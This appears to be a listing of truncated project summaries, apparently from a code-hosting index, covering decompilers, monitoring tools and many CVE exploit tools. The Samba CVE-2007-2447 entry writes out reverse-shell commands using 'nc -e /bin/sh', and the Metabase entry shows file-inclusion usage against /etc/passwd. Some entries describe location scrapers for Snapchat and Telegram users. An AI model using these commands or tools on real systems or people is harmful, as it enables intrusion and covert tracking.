reko

reko - a general purpose decompiler. Reko Swedish: "decent, obliging" is a decompiler for machine code binaries. This project is freely available under the GNU General Public License. The project consists of front ends, core decompiler engine, and back ends to help it achieve its goals. A...

joomla-cve-2018-6396

Joomla-CVE-2018-6396 Joomla! 组件 Google Map Landkarten PoC cve-2018-6396...

geoip-attack-map

First and Foremost I do not have much time in my life right now to maintain this project. I undertook this challenge as a means to learn JavaScript, and to improve upon the Python I already knew. I'm sure there are several things I could have done differently in my implementation, and I won't be...

CVE-2026-8732-POC

CVE-2026-8732 - WordPress WP Google Map Pro 批量扫描器与自动管理员创建器 📌 描述 该工具利用 CVE-2026-8732 ，这是 WordPress 的 WP Google Map Pro 插件中的一个漏洞。该漏洞允许未认证的攻击者通过 AJAX 端点（admin-ajax.php?action=wpgmptempaccessajax）获取有效的 wpmptoken。攻击者可以使用此令牌访问 WordPress 管理面板并创建新的管理员用户。 该工具基于域名列表执行批量扫描 ，提取 nonce...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 实现 描述 针对 Samba 3.0.20 IP - 远程机器的 IP 地址。 PORT - （可选）SMB 运行的端口。 PAYLOAD - 要在远程机器上执行的有效载荷，例如反弹 shell。 示例： python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 参考资料 CVE-2007-2447：远程命令注入漏洞 Samba...

Vanguard-Map

VANGUARD1 — マルチドメイン戦術インテリジェンスマップ 世界の動くものをリアルタイムで表示する3Dマップ：船舶のライブトラフィック（AIS）、航空機、 衛星、海底ケーブル、港湾、チョークポイント、宇宙天気 — これらを 150万点の地形クラウドとして描画し、昼夜の変化、海洋シミュレーション、映画的なカメラワークを備えています。 Three.jsとプレーンなESモジュールで構築。ビルドステップ不要、フレームワーク不要。 ▶ライブデモ — サインアップ不要です： 最初の画面でVIEW DEMO をクリックすると合成トラフィックを表示、または無料の...

call_map

Call Map .. default-role:: code 关于 Call Map 是一款用于在 Python 中导航调用图的工具，并计划支持其他语言。下面是运行 callmap -m toolz 后点击一些函数时的屏幕截图。 .. figure:: docs/UI-clicked-on-function.png 虽然 Call Map 旨在帮助大致了解代码库，但它也非常适合追踪代码路径，这构成了一个重要的安全关注点。许多安全问题都是通过找到一条将用户输入连接到危险编码模式的代码路径而暴露出来的。 更多信息请参阅 博客文章。...

anteon

基于eBPF的Kubernetes监控与性能测试 Anteon 自动生成服务映射图，无需代码插桩或边车（Sidecar）。因此您可以轻松找到系统中的瓶颈。红线表示服务之间的高延迟。 在线演示 • 文档 • Discord 🐝 什么是 Anteon？ Anteon （原名Ddosify）是一个基于eBPF的Kubernetes监控 和性能测试 平台。 🔎 Kubernetes 监控 自动服务映射图创建： Anteon 自动创建集群的服务映射图 ，无需代码插桩或边车。因此您可以轻松找到瓶颈。 性能洞察： 帮助您发现服务响应缓慢或 SQL 查询慢等问题。 实时指标： 平台跟踪并显示集群实例的...

Mindmaps

Azure 渗透测试思维导图 通过这份 Azure 渗透测试思维导图获取全局管理员访问权限 💥 欢迎通过 Pull Request 分享你的技术！❤️ 由 Alexis Danizan 开发 由 Synacktiv 🥷 以开源形式发布 📖 资源 构建此思维导图所用的实用资源，其中不乏诸多杰出之作： PayloadsAllTheThings - Cloud - Azure ROADtools AzureHound AADInternals Powerzure HackTricks Cloud...

CVE-2018-20343

CVE-2018-20343 这是针对 CVE-2018-20343 的概念验证（PoC），该漏洞存在于 Ken Silverman 的 Build Engine 中。 生成的 .map 文件会触发缓冲区溢出并覆盖堆栈，如下所示： DosBox 0.74-2 下的 Open Watcom：分析者控制堆栈 FreeDos 1.2 下：分析者控制 EIP 漏洞代码位于 ENGINE.C 中： root@kitploit: 1935 kreadfil,&numsectors,2; 1936 kreadfil,&sector0,sizeofsectortypenumsectors; 变量...

CVE-2026-42533

CVE-2026-42533 — nginx 堆缓冲区溢出 PoC 漏洞利用 通过双遍捕获覆写实现未认证远程代码执行 公开 PoC 已于 2026-07-27 发布 — 不要再等待，请立即修补。 | ---|--- CVE| CVE-2026-42533 CVSS 4.0| 9.2（严重） 类型| 堆缓冲区溢出（CWE-122） 影响版本| nginx 0.9.6 – 1.30.3（稳定版），0.9.6 – 1.31.2（主线版） 修复版本| nginx 1.30.4 / 1.31.3，NGINX Plus R36 P7 / 37.0.3.1 披露时间| 2026-07-15（F5 /...

CVE-2022-21894

baton drop CVE-2022-21894：Secure Boot 安全功能绕过漏洞 Windows 启动应用程序允许使用 truncatememory 设置从内存映射中移除包含序列化数据“持久”范围的内存块，从而导致 Secure Boot 绕过。 truncatememory BCD 元素会从内存映射中移除指定物理地址以上的所有内存。 此操作在每个启动应用程序初始化时执行，此时序列化的 Secure Boot 策略尚未从内存中读取。 因此，可以使用此类元素将序列化的 Secure Boot 策略从内存映射中移除。...

CVE-2026-23111

🐧 CVE-2026-23111 - Linux Kernel nftables Use-After-Free 脆弱性 ⚠️ Linux Kernel nftables における Use-After-Free 📖 概要 CVE-2026-23111 は、Linux カーネルの netfilter/nftables サブシステムに影響を与える、深刻度の高い Use-After-Free UAF 脆弱性です。 この欠陥は、nftables...

snapchat-map-scraper

Snapchat ストーリーダウンローダー このプログラムは、Snapchat の公開 Snap Map を複数の場所で検索し、すべてのストーリーをダウンロードして、後で調査や分類を行うことができます。Snapchat がどのようにして地図上のどの「ポイント」にどの動画を表示するかについては不明な点が多いため、スクレイパーはスクレイピング元の地理位置情報を数百メートルランダム化して、API にさらに多くの関連動画を提供させることを期待できます。 これは Linux でテストされていますが、Windows/Mac でもビデオビューアーがインストールされていれば動作するはずです。...

telegram-nearby-map

Telegram Nearby Map Telegram Nearby Map は、OpenStreetMap と公式 Telegram ライブラリを使用して、近くのユーザーの位置を特定します。 注意: Telegram の API は以前に更新され、近くのユーザーの距離の精度が低下し、正確な位置計算ができなくなりました。そのため、Telegram Nearby Map は近くのユーザーを表示しますが、正確な位置は表示しません。 Ahmed のブログ記事 と Hacker News のディスカッション に触発されました。 開発者: github.com/tejado 仕組み 25...

CVE-2026-42533-Config-Scanner

nginx capture-clobber scanner A read-only static scanner that flags nginx configurations vulnerable to the complexvalue two-pass capture-clobbering bug class F5/nginx SIRT advisory, July 2026. It parses your config and reports the vulnerable pattern with the reason and location. It does not explo...

Nextjs_RCE_Exploit_Tool

Next.js RCE Exploit Tool CVE-2025-55182 !CAUTION 免责声明 / Disclaimer 本工具仅供安全研究与教学 使用。用户在使用本工具进行测试时，必须确保已获得目标系统的合法授权 。 严禁用于非授权的渗透测试、恶意攻击或任何非法用途。用户感知和利用漏洞所产生的一切风险与法律后果由用户自行承担 ，与本项目开发者无关。 如果不接受此条款，请立即停止下载或使用本工具。 本工具基于公开文章开发，不提供编译好的二进制发布版本，请自行审计代码并编译。 🙏 致谢 / Credits...

CVE-2021-41277

CVE-2021-41277 Metabase GeoJSON 地图本地文件包含 版本：x.40.0-x.40.4 用法： root@kitploit: chmod -x CVE-2021-41277.sh ./CVE-2021-41277.sh http://ip:port/ /etc/passwd 参考链接 https://vulners.com/cve/CVE-2021-41277...

Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 漏洞利用 这是一个用于利用 CVE-2007-2447 的 Python 脚本，该漏洞是 Samba 服务器中的“用户名”映射脚本命令执行漏洞。 描述 此漏洞利用程序针对 Samba 版本 3.x - 4.x。CVE-2007-2447 允许攻击者通过构造恶意的用户名和密码在易受攻击的 Samba 服务器上执行任意命令。 使用方法 1. 在你的攻击机上设置监听器，例如使用 Netcat：nc -nvlp 1234 2. 运行 Python 脚本并提供所需信息： 你的 IP（用于传递反向 shell） 受害者 IP 受害者端口 3. 脚本将构建反向...

FireShodanMap

FireShodanMap FireShodanMap is a Realtime map that integrates Firebase and Shodan. A search is carried out using Shodan searching vulnerable devices and they are showed on the map for analysis. All data updated in Firebase are Realtime. Changes We have a file named "fireshodan.py" responsible for...